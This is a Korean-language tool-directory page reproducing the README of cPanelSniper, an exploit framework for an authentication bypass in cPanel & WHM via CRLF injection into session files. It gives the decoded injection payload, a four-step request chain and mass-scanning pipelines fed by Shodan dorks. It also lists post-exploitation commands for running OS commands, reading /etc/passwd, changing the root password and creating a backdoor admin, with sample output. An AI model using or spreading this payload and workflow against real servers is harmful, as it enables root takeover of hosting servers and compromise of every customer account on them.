Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cPanelSniper — CVE-2026-41940 — cPanel & WHM 세션 파일 CRLF 주입을 통한 인증 우회 | Kitploit
도구/GitHubGitHub/zwanski2019/cpanelsniper
Authentication & AuthorizationVulnerability ScannersExploitationWeb Application ExploitationInformation GatheringPost-ExploitationPenetration TestingCommand and ControlRed Teaming
GitHubzwanski2019/cpanelsniper

cPanelSniper

CVE-2026-41940 — cPanel & WHM 세션 파일 CRLF 주입을 통한 인증 우회

3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

cPanelSniper

cPanelSniper

Python CVE cPanel stdlib pipeline Author

CVE-2026-41940 — cPanel & WHM 세션 파일 CRLF 주입을 통한 인증 우회
4단계 익스플로잇 체인 · 대화형 WHM 셸 · 대량 스캐너 · 파이프라인 지원 · stdlib만 사용


개요

cPanelSniper는 cPanel & WHM에 영향을 미치는 치명적인 인증 우회 취약점인 CVE-2026-41940을 대상으로 하는 특화된 익스플로잇 프레임워크입니다. 이 취약점은 인증되지 않은 원격 공격자가 Authorization HTTP 헤더를 통해 세션 파일에 CRLF 시퀀스를 주입하여 유효한 자격 증명 없이 루트 수준의 WHM 접근 권한을 얻을 수 있게 합니다.

  • CVSS 점수: 10.0 (치명적)
  • 실제 악용: 확인됨 (2026년 4월)
  • 영향을 받는 설치: cPanel & WHM을 실행하는 약 7천만 개 도메인
  • 의존성 없음: 순수 Python stdlib — pip, requests, 외부 패키지 불필요

공인된 침투 테스트 및 버그 바운티 프로그램 전용입니다.


작동 원리

근본 원인은 Session.pm에 있습니다. saveSession() 함수는 세션 파일을 디스크에 쓴 후에 filter_sessiondata()를 호출합니다. 즉, Authorization: Basic 헤더 값에 포함된 CRLF 문자가 세션 파일에 그대로 기록되어, 삭제(sanitization)가 발생하기 전에 공격자가 제어하는 필드가 주입됩니다.

root@kitploit:~
정상 흐름:
  POST /login/ → filter_sessiondata() → 세션 쓰기 → 인증 확인

취약한 흐름:
  POST /login/ → 세션 쓰기 (CRLF 페이로드 주입) → filter_sessiondata() → 인증 확인 시 오염된 파일 읽음

CRLF 페이로드

Authorization: Basic 값은 다음과 같이 디코딩됩니다:

root@kitploit:~
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

이 필드들은 디스크의 세션 파일에 직접 기록됩니다. 다시 읽을 때 cPanel은 이 세션을 완전히 인증된 루트 세션으로 처리합니다.

4단계 익스플로잇 체인

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  단계 0 — 표준 호스트명 탐색                                 │
│  GET /openid_connect/cpanelid → 307 → 실제 호스트명          │
├─────────────────────────────────────────────────────────────┤
│  단계 1 — 사전 인증 세션 발급                                │
│  POST /login/?login_only=1  (잘못된 자격 증명)               │
│  ← 401 + whostmgrsession 쿠키                               │
├─────────────────────────────────────────────────────────────┤
│  단계 2 — CRLF 주입                                         │
│  GET / + Cookie: session + Authorization: Basic <payload>   │
│  cpsrvd가 CRLF 필드를 세션 파일에 기록                       │
│  ← 307 Location: /cpsessXXXXXXXXXX/...                     │
├─────────────────────────────────────────────────────────────┤
│  단계 3 — 전파 (do_token_denied 가젯)                       │
│  GET /scripts2/listaccts                                    │
│  raw→cache 플러시 트리거 — 주입된 필드가 활성화됨            │
│  ← 401 Token denied (예상됨)                                │
├─────────────────────────────────────────────────────────────┤
│  단계 4 — WHM 루트 접근 확인                                │
│  GET /cpsessXXXXXXXXXX/json-api/version                     │
│  ← 200 {"version":"11.x.x.x","result":1}  = PWNED          │
└─────────────────────────────────────────────────────────────┘

영향을 받는 버전


설치

root@kitploit:~
git clone https://github.com/ynsmroztas/cPanelSniper
cd cPanelSniper
python3 cPanelSniper.py --help

pip 설치가 필요 없습니다. 순수 Python 3.8+ stdlib만 사용합니다.


사용법

기본 스캔

root@kitploit:~
# 단일 대상 — 스캔만 수행
python3 cPanelSniper.py -u https://target.com:2087

# 단일 대상 — 우회 후 대화형 셸
python3 cPanelSniper.py -u https://target.com:2087 --action shell

# 파일에서 대량 스캔
python3 cPanelSniper.py -l targets.txt -t 20 -o results.json

# 강제 스캔 (cPanel 탐지 건너뛰기)
python3 cPanelSniper.py -u https://target.com:2087 --force

익스플로잇 후 작업

root@kitploit:~
# 서버의 모든 cPanel 계정 나열
python3 cPanelSniper.py -u https://target.com:2087 --action list

# OS 명령 실행
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"

# 서버 정보 가져오기 (호스트명, 부하, 디스크, MySQL 호스트)
python3 cPanelSniper.py -u https://target.com:2087 --action info

# cPanel 버전 가져오기
python3 cPanelSniper.py -u https://target.com:2087 --action version

# 루트 비밀번호 변경
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'

# 대화형 WHM 셸
python3 cPanelSniper.py -u https://target.com:2087 --action shell

파이프라인

root@kitploit:~
# subfinder → httpx → cPanelSniper
subfinder -d target.com -silent | \
  httpx -silent -ports 2087,2086 -threads 50 | \
  python3 cPanelSniper.py -t 30 -o results.json

# 범위 목록에서
cat scope.txt | \
  httpx -silent -ports 2087,2086 -threads 100 | \
  python3 cPanelSniper.py -t 30 -o results.json

# Shodan 결과
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' | \
  python3 cPanelSniper.py -t 30 -o shodan_results.json

# stdin 파이프
echo "https://target.com:2087" | python3 cPanelSniper.py

# 여러 소스 결합
{ subfinder -d target.com -silent; cat extra.txt; } | \
  httpx -silent -ports 2087 | \
  python3 cPanelSniper.py -t 20 --action list

대화형 WHM 셸

우회에 성공하면 --action shell 플래그가 대화형 프롬프트를 실행합니다:

root@kitploit:~
════════════════════════════════════════════════════════════
  WHM Shell — target.com
  Version: CVE-2026-41940 | Auth: CRLF bypass
  Type 'help' for commands, 'exit' to quit
════════════════════════════════════════════════════════════

[email protected] ▶ id
  uid=0(root) gid=0(root) groups=0(root)

[email protected] ▶ accounts
  [cPanel Accounts]  target.com:2087 (47 users)
    user01               domain: example.com    email: [email protected]
    user02               domain: shop.com       email: [email protected]
    ...

[email protected] ▶ cat /etc/passwd
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...

[email protected] ▶ info
  [Server Info]  https://target.com:2087
  hostname: srv01.target.com
  load: 0.72 / 0.66 / 0.69
  version: 11.130.0.6

[email protected] ▶ addadmin mitsec P@ss2026!
  [BACKDOOR ADMIN CREATED]
  Target   : https://target.com:2087
  Username : mitsec
  Password : P@ss2026!
  Profile  : super_admin

[email protected] ▶ exit

셸 명령어


CLI 참조

root@kitploit:~
usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
                       [-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
                       [--action ACTION] [--passwd PASS] [--cmd CMD]
                       [--new-user USER] [--new-domain DOMAIN]
                       [-o OUTPUT] [--no-color]

Target:
  -u, --url URL          단일 대상 URL (예: https://host:2087)
  -l, --list LIST        URL이 포함된 파일 (한 줄에 하나)
  --hostname HOSTNAME    표준 Host 헤더 재정의 (자동 탐색됨)

Scan:
  -t, --threads N        동시 스레드 수 (기본값: 10)
  --timeout N            요청 제한 시간(초) (기본값: 15)
  --rate-limit N         대상 간 지연 시간 (기본값: 0)
  --force                cPanel 탐지 확인 건너뛰기

Post-Exploit:
  --action ACTION        작업: list | passwd | cmd | exec | info |
                                 version | shell | adduser
  --passwd PASS          새 루트 비밀번호 (--action passwd)
  --cmd CMD              OS 명령 (--action cmd/exec)
  --new-user USER        새 cPanel 사용자 이름 (--action adduser)
  --new-domain DOMAIN    새 cPanel 도메인 (--action adduser)

Output:
  -o, --output FILE      결과를 JSON 파일로 저장
  --no-color             ANSI 색상 비활성화

Shodan Dorks

root@kitploit:~
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"cPanel" port:2083
ssl.cert.subject.cn:"cPanel" port:2087

출력 예시

root@kitploit:~
   ██████╗██████╗  █████╗ ███╗  ██╗███████╗██╗
  ██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
  ...

  CVE-2026-41940 — cPanel & WHM CRLF 주입을 통한 인증 우회
  4단계: 사전 인증 → CRLF 주입 → 전파 → 확인 → 익스플로잇 후 작업
  In-The-Wild | CVSS 10.0 | By Mitsec (@ynsmroztas)

  구성:
   대상    : 1
   스레드  : 10
   제한시간: 15s
   작업    : list

14:46:22 [SCAN] 4단계 익스플로잇 체인 시작... https://target.com:2087
14:46:23 [INFO] 표준 호스트명 탐색됨: srv01.target.com
14:46:23 [STEP] 1/4단계 — 사전 인증 세션 발급 중...
14:46:23 [  OK] 1단계: 사전 인증 세션 = :QFB4o8XENBqlr6U1...
14:46:23 [STEP] 2/4단계 — Authorization 헤더를 통한 CRLF 주입...
14:46:24 [  OK] 2단계: HTTP 307 → token=/cpsess8493537756
14:46:24 [STEP] 3/4단계 — do_token_denied 가젯 실행 (raw→cache)...
14:46:25 [  OK] 3단계: HTTP 401 — do_token_denied 가젯 실행됨
14:46:25 [STEP] 4/4단계 — WHM 루트 접근 확인 중...
14:46:26 [PWND] CVE-2026-41940 확인됨 — WHM 루트 접근!
14:46:26 [PWND]   Token    : /cpsess8493537756
14:46:26 [PWND]   Version  : 11.130.0.6
14:46:26 [PWND]   API URL  : https://target.com:2087/cpsess8493537756/json-api/version
14:46:26 [ API] 익스플로잇 후 작업 실행: list
14:46:27 [ API] listaccts → HTTP 200

  [cPanel Accounts]  target.com:2087 (47 accounts)
    client01    domain: client01.com    email: [email protected]
    client02    domain: client02.net    email: [email protected]
    ...

══════════════════════════════════════════════════════════════════════
  cPanelSniper — 스캔 완료
  시간: 5.8s  ·  대상: 1

  ⚡ 취약한 대상 1개 발견

  대상    : https://target.com:2087
  Version : 11.130.0.6
  Token   : /cpsess8493537756
  API URL : https://target.com:2087/cpsess8493537756/json-api/version
══════════════════════════════════════════════════════════════════════

기술적 세부 사항

세션 파일 주입

주입된 Authorization: Basic 값(base64 디코딩)에는 cPanel 세션 파일에서 줄바꿈이 되는 CRLF 시퀀스가 포함되어 있습니다:

root@kitploit:~
root:x\r\n
successful_internal_auth_with_timestamp=9999999999\r\n
user=root\r\n
tfa_verified=1\r\n
hasroot=1

cPanel의 세션 리더는 이를 정당한 세션 필드로 구문 분석하여 전체 루트 WHM 접근 권한을 부여합니다.

3단계 — do_token_denied 가젯

중요하고 종종 간과되는 단계: CRLF 주입(2단계) 후, 오염된 세션 데이터는 원시 세션 파일에만 존재합니다. /scripts2/listaccts에 대한 요청은 내부 do_token_denied 핸들러를 트리거하여 원시 세션 데이터를 세션 캐시로 플러시합니다. 이 플러시가 없으면 4단계는 403을 반환합니다.

세션 토큰 추출

root@kitploit:~
Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; ...
                              ^              ^
                              |              +-- ob 해시 (제거됨)
                              +-- 세션 이름 (주입에 사용됨)

%2C 앞의 세션 이름이 추출되어 후속 요청의 쿠키 값으로 사용됩니다.


참고 자료

  • watchTowr Labs — CVE-2026-41940 기술 분석
  • cPanel 보안 권고
  • NVD — CVE-2026-41940
  • Hadrian 블로그 — CVE-2026-41940 분석
  • Nuclei 템플릿 — CVE-2026-41940

면책 조항

이 도구는 공인된 보안 테스트 및 버그 바운티 프로그램 전용으로 제작되었습니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 이 도구로 인한 오용이나 손해에 대해 어떠한 책임도 지지 않습니다. 테스트 전에 항상 적절한 서면 승인을 받으십시오.


작성자

Mitsec — @ynsmroztas

  • 🏆 Top Hacker — Intigriti
  • 🐛 2,430개 이상의 취약점 공개
  • 💀 1,100개 이상의 P1 치명적 발견
  • 🏅 100개 이상의 명예의 전당 인정

Made with ❤️ by @ynsmroztas

도구 다운로드
브랜치취약한 버전패치된 버전
110.x≤ 11.110.0.9611.110.0.97
118.x≤ 11.118.0.6211.118.0.63
126.x≤ 11.126.0.5311.126.0.54
132.x≤ 11.132.0.2811.132.0.29
134.x≤ 11.134.0.1911.134.0.20
136.x≤ 11.136.0.411.136.0.5
명령어설명
id / whoamiUID 및 호스트명 표시
hostname서버 호스트명 가져오기
versioncPanel 버전 정보
info부하, 디스크, MySQL 호스트, 버전
accounts모든 cPanel 사용자 계정 나열
cat <path>파일 내용 읽기
ls [path]디렉터리 나열
exec <cmd>OS 명령 실행
addadmin <user> <pass>백도어 WHM 관리자 생성
passwd <pass>루트 비밀번호 변경
api <endpoint> [k=v ...]원시 WHM JSON API 호출
help모든 명령어 표시
exit셸 종료